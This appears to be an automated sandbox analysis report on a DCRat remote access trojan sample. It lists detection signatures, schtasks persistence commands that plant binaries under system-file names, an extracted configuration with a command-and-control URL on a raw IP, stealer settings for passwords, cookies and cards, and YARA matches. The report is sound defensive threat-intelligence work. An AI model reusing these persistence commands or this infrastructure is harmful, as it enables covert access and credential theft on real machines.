Edit tour

Windows Analysis Report
UNFOT5F1qt.exe

Overview

General Information

Sample name:	UNFOT5F1qt.exe renamed because original name is a hash value
Original sample name:	1C40D9E61FBBD5D9054638B98B10E1CF.exe
Analysis ID:	1563543
MD5:	1c40d9e61fbbd5d9054638b98b10e1cf
SHA1:	145119e649cabc6c60200643b3cc347fc4b164cc
SHA256:	854b586f8d0cad52a042ccee32691dc9c30e6a32bd3805024934f43e169325af
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected DCRat

.NET source code references suspicious native API functions

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates an autostart registry key pointing to binary in C:\Windows

Creates multiple autostart registry keys

Creates processes via WMI

Drops PE files to the user root directory

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

UNFOT5F1qt.exe (PID: 2000 cmdline: "C:\Users\user\Desktop\UNFOT5F1qt.exe" MD5: 1C40D9E61FBBD5D9054638B98B10E1CF)

UNFOT5F1qt.exe (PID: 1460 cmdline: "C:\Users\user\Desktop\UNFOT5F1qt.exe" MD5: 1C40D9E61FBBD5D9054638B98B10E1CF)

savesbrokerDriverSavesbroker.exe (PID: 7188 cmdline: "C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe" MD5: 222EDC84E2D32948F2639554B23E7B04)

schtasks.exe (PID: 7408 cmdline: schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7432 cmdline: schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7456 cmdline: schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Users\All Users\Application Data\Application Data\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7480 cmdline: schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default User\WmiPrvSE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7504 cmdline: schtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7528 cmdline: schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7552 cmdline: schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\regedit\explorer.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7576 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

WerFault.exe (PID: 7604 cmdline: "C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe" MD5: 222EDC84E2D32948F2639554B23E7B04)

FPS Booster 2.0.7.exe (PID: 7236 cmdline: "C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe" MD5: 74BE806E27A351565F2EC136DCB5232C)

WerFault.exe (PID: 7212 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 1156 MD5: C31336C1EFC2CCB44B4326EA793040F2)

explorer.exe (PID: 7664 cmdline: C:\Windows\regedit\explorer.exe MD5: 222EDC84E2D32948F2639554B23E7B04)

HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe (PID: 7672 cmdline: "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe" MD5: 222EDC84E2D32948F2639554B23E7B04)

HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe (PID: 8000 cmdline: "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe" MD5: 222EDC84E2D32948F2639554B23E7B04)

explorer.exe (PID: 616 cmdline: "C:\Windows\regedit\explorer.exe" MD5: 222EDC84E2D32948F2639554B23E7B04)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"H1": "http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/@==AbhNnclZXauVHdsVXYmVGZ", "H2": "http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/@==AbhNnclZXauVHdsVXYmVGZ", "TAG": "", "MUTEX": "DCR_MUTEX-9cHOEfz43eiRgQzXdpNO", "LDTM": false, "DBG": false, "BCS": 0, "AUR": 1, "ASCFG": {"ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true}, "AS": true, "ASO": true, "ASP": "%UsersFolder% - Fast", "AK": true, "AD": false}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	MALWARE_Win_DCRat	DCRat payload	ditekSHen	0x66bb0:$x1: px"><center>DCRat Keylogger 0x7b998:$x2: DCRat-Log# 0x64ca0:$x3: DCRat.Code 0x65f75:$v1: Plugin couldn't process this action! 0x65fbf:$v2: Unknown command! 0x66137:$v3: PLUGINCONFIGS 0x7b9d4:$v4: Saving log... 0x7b9f0:$v5: ~Work.log 0x64948:$v6: MicrophoneNum 0x64990:$v7: WebcamNum 0x662b5:$v8: %SystemDrive% - Slow 0x662df:$v9: %UsersFolder% - Fast 0x66309:$v10: %AppData% - Very Fast 0x66619:$v11: <span style="color: #F85C50;">[Up]</span> 0x6666d:$v11: <span style="color: #F85C50;">[Down]</span> 0x66777:$v11: <span style="color: #F85C50;">[Enter]</span> 0x667d1:$v11: <span style="color: #F85C50;">[ESC]</span> 0x66827:$v11: <span style="color: #F85C50;">[CTRL]</span> 0x6687f:$v11: <span style="color: #F85C50;">[Shift]</span> 0x66931:$v11: <span style="color: #F85C50;">[Win]</span> 0x66987:$v11: <span style="color: #F85C50;">[Tab]</span>
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	MALWARE_Win_DCRat	DCRat payload	ditekSHen	0x66bb0:$x1: px"><center>DCRat Keylogger 0x7b998:$x2: DCRat-Log# 0x64ca0:$x3: DCRat.Code 0x65f75:$v1: Plugin couldn't process this action! 0x65fbf:$v2: Unknown command! 0x66137:$v3: PLUGINCONFIGS 0x7b9d4:$v4: Saving log... 0x7b9f0:$v5: ~Work.log 0x64948:$v6: MicrophoneNum 0x64990:$v7: WebcamNum 0x662b5:$v8: %SystemDrive% - Slow 0x662df:$v9: %UsersFolder% - Fast 0x66309:$v10: %AppData% - Very Fast 0x66619:$v11: <span style="color: #F85C50;">[Up]</span> 0x6666d:$v11: <span style="color: #F85C50;">[Down]</span> 0x66777:$v11: <span style="color: #F85C50;">[Enter]</span> 0x667d1:$v11: <span style="color: #F85C50;">[ESC]</span> 0x66827:$v11: <span style="color: #F85C50;">[CTRL]</span> 0x6687f:$v11: <span style="color: #F85C50;">[Shift]</span> 0x66931:$v11: <span style="color: #F85C50;">[Win]</span> 0x66987:$v11: <span style="color: #F85C50;">[Tab]</span>
C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	MALWARE_Win_DCRat	DCRat payload	ditekSHen	0x66bb0:$x1: px"><center>DCRat Keylogger 0x7b998:$x2: DCRat-Log# 0x64ca0:$x3: DCRat.Code 0x65f75:$v1: Plugin couldn't process this action! 0x65fbf:$v2: Unknown command! 0x66137:$v3: PLUGINCONFIGS 0x7b9d4:$v4: Saving log... 0x7b9f0:$v5: ~Work.log 0x64948:$v6: MicrophoneNum 0x64990:$v7: WebcamNum 0x662b5:$v8: %SystemDrive% - Slow 0x662df:$v9: %UsersFolder% - Fast 0x66309:$v10: %AppData% - Very Fast 0x66619:$v11: <span style="color: #F85C50;">[Up]</span> 0x6666d:$v11: <span style="color: #F85C50;">[Down]</span> 0x66777:$v11: <span style="color: #F85C50;">[Enter]</span> 0x667d1:$v11: <span style="color: #F85C50;">[ESC]</span> 0x66827:$v11: <span style="color: #F85C50;">[CTRL]</span> 0x6687f:$v11: <span style="color: #F85C50;">[Shift]</span> 0x66931:$v11: <span style="color: #F85C50;">[Win]</span> 0x66987:$v11: <span style="color: #F85C50;">[Tab]</span>
C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Users\Public\Pictures\RuntimeBroker.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\Public\Pictures\RuntimeBroker.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\Public\Pictures\RuntimeBroker.exe	MALWARE_Win_DCRat	DCRat payload	ditekSHen	0x66bb0:$x1: px"><center>DCRat Keylogger 0x7b998:$x2: DCRat-Log# 0x64ca0:$x3: DCRat.Code 0x65f75:$v1: Plugin couldn't process this action! 0x65fbf:$v2: Unknown command! 0x66137:$v3: PLUGINCONFIGS 0x7b9d4:$v4: Saving log... 0x7b9f0:$v5: ~Work.log 0x64948:$v6: MicrophoneNum 0x64990:$v7: WebcamNum 0x662b5:$v8: %SystemDrive% - Slow 0x662df:$v9: %UsersFolder% - Fast 0x66309:$v10: %AppData% - Very Fast 0x66619:$v11: <span style="color: #F85C50;">[Up]</span> 0x6666d:$v11: <span style="color: #F85C50;">[Down]</span> 0x66777:$v11: <span style="color: #F85C50;">[Enter]</span> 0x667d1:$v11: <span style="color: #F85C50;">[ESC]</span> 0x66827:$v11: <span style="color: #F85C50;">[CTRL]</span> 0x6687f:$v11: <span style="color: #F85C50;">[Shift]</span> 0x66931:$v11: <span style="color: #F85C50;">[Win]</span> 0x66987:$v11: <span style="color: #F85C50;">[Tab]</span>
C:\Users\Public\Pictures\RuntimeBroker.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Users\Public\Pictures\RuntimeBroker.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Users\Public\Pictures\RuntimeBroker.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Users\Public\Pictures\RuntimeBroker.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Users\Public\Pictures\RuntimeBroker.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Users\Default\WmiPrvSE.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\Default\WmiPrvSE.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\Default\WmiPrvSE.exe	MALWARE_Win_DCRat	DCRat payload	ditekSHen	0x66bb0:$x1: px"><center>DCRat Keylogger 0x7b998:$x2: DCRat-Log# 0x64ca0:$x3: DCRat.Code 0x65f75:$v1: Plugin couldn't process this action! 0x65fbf:$v2: Unknown command! 0x66137:$v3: PLUGINCONFIGS 0x7b9d4:$v4: Saving log... 0x7b9f0:$v5: ~Work.log 0x64948:$v6: MicrophoneNum 0x64990:$v7: WebcamNum 0x662b5:$v8: %SystemDrive% - Slow 0x662df:$v9: %UsersFolder% - Fast 0x66309:$v10: %AppData% - Very Fast 0x66619:$v11: <span style="color: #F85C50;">[Up]</span> 0x6666d:$v11: <span style="color: #F85C50;">[Down]</span> 0x66777:$v11: <span style="color: #F85C50;">[Enter]</span> 0x667d1:$v11: <span style="color: #F85C50;">[ESC]</span> 0x66827:$v11: <span style="color: #F85C50;">[CTRL]</span> 0x6687f:$v11: <span style="color: #F85C50;">[Shift]</span> 0x66931:$v11: <span style="color: #F85C50;">[Win]</span> 0x66987:$v11: <span style="color: #F85C50;">[Tab]</span>
C:\Users\Default\WmiPrvSE.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Windows\regedit\explorer.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Windows\regedit\explorer.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Windows\regedit\explorer.exe	MALWARE_Win_DCRat	DCRat payload	ditekSHen	0x66bb0:$x1: px"><center>DCRat Keylogger 0x7b998:$x2: DCRat-Log# 0x64ca0:$x3: DCRat.Code 0x65f75:$v1: Plugin couldn't process this action! 0x65fbf:$v2: Unknown command! 0x66137:$v3: PLUGINCONFIGS 0x7b9d4:$v4: Saving log... 0x7b9f0:$v5: ~Work.log 0x64948:$v6: MicrophoneNum 0x64990:$v7: WebcamNum 0x662b5:$v8: %SystemDrive% - Slow 0x662df:$v9: %UsersFolder% - Fast 0x66309:$v10: %AppData% - Very Fast 0x66619:$v11: <span style="color: #F85C50;">[Up]</span> 0x6666d:$v11: <span style="color: #F85C50;">[Down]</span> 0x66777:$v11: <span style="color: #F85C50;">[Enter]</span> 0x667d1:$v11: <span style="color: #F85C50;">[ESC]</span> 0x66827:$v11: <span style="color: #F85C50;">[CTRL]</span> 0x6687f:$v11: <span style="color: #F85C50;">[Shift]</span> 0x66931:$v11: <span style="color: #F85C50;">[Win]</span> 0x66987:$v11: <span style="color: #F85C50;">[Tab]</span>
C:\Windows\regedit\explorer.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Windows\regedit\explorer.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Windows\regedit\explorer.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Windows\regedit\explorer.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
C:\Windows\regedit\explorer.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e269:$s8: Win32_ComputerSystem 0x7e368:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e405:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e51a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64e06:$cnc4: POST / HTTP/1.1
Click to see the 27 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.1520715428.000000000285A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000013.00000002.1476965095.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7e069:$s8: Win32_ComputerSystem 0x7e168:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e205:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7e31a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x64c06:$cnc4: POST / HTTP/1.1
00000011.00000002.1426473572.00000000026A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000012.00000002.1476991915.0000000002D40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: savesbrokerDriverSavesbroker.exe PID: 7188	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: savesbrokerDriverSavesbroker.exe PID: 7188	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19abd1:$s8: Win32_ComputerSystem 0x19ac49:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19ac97:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19ad21:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x18e2df:$cnc4: POST / HTTP/1.1
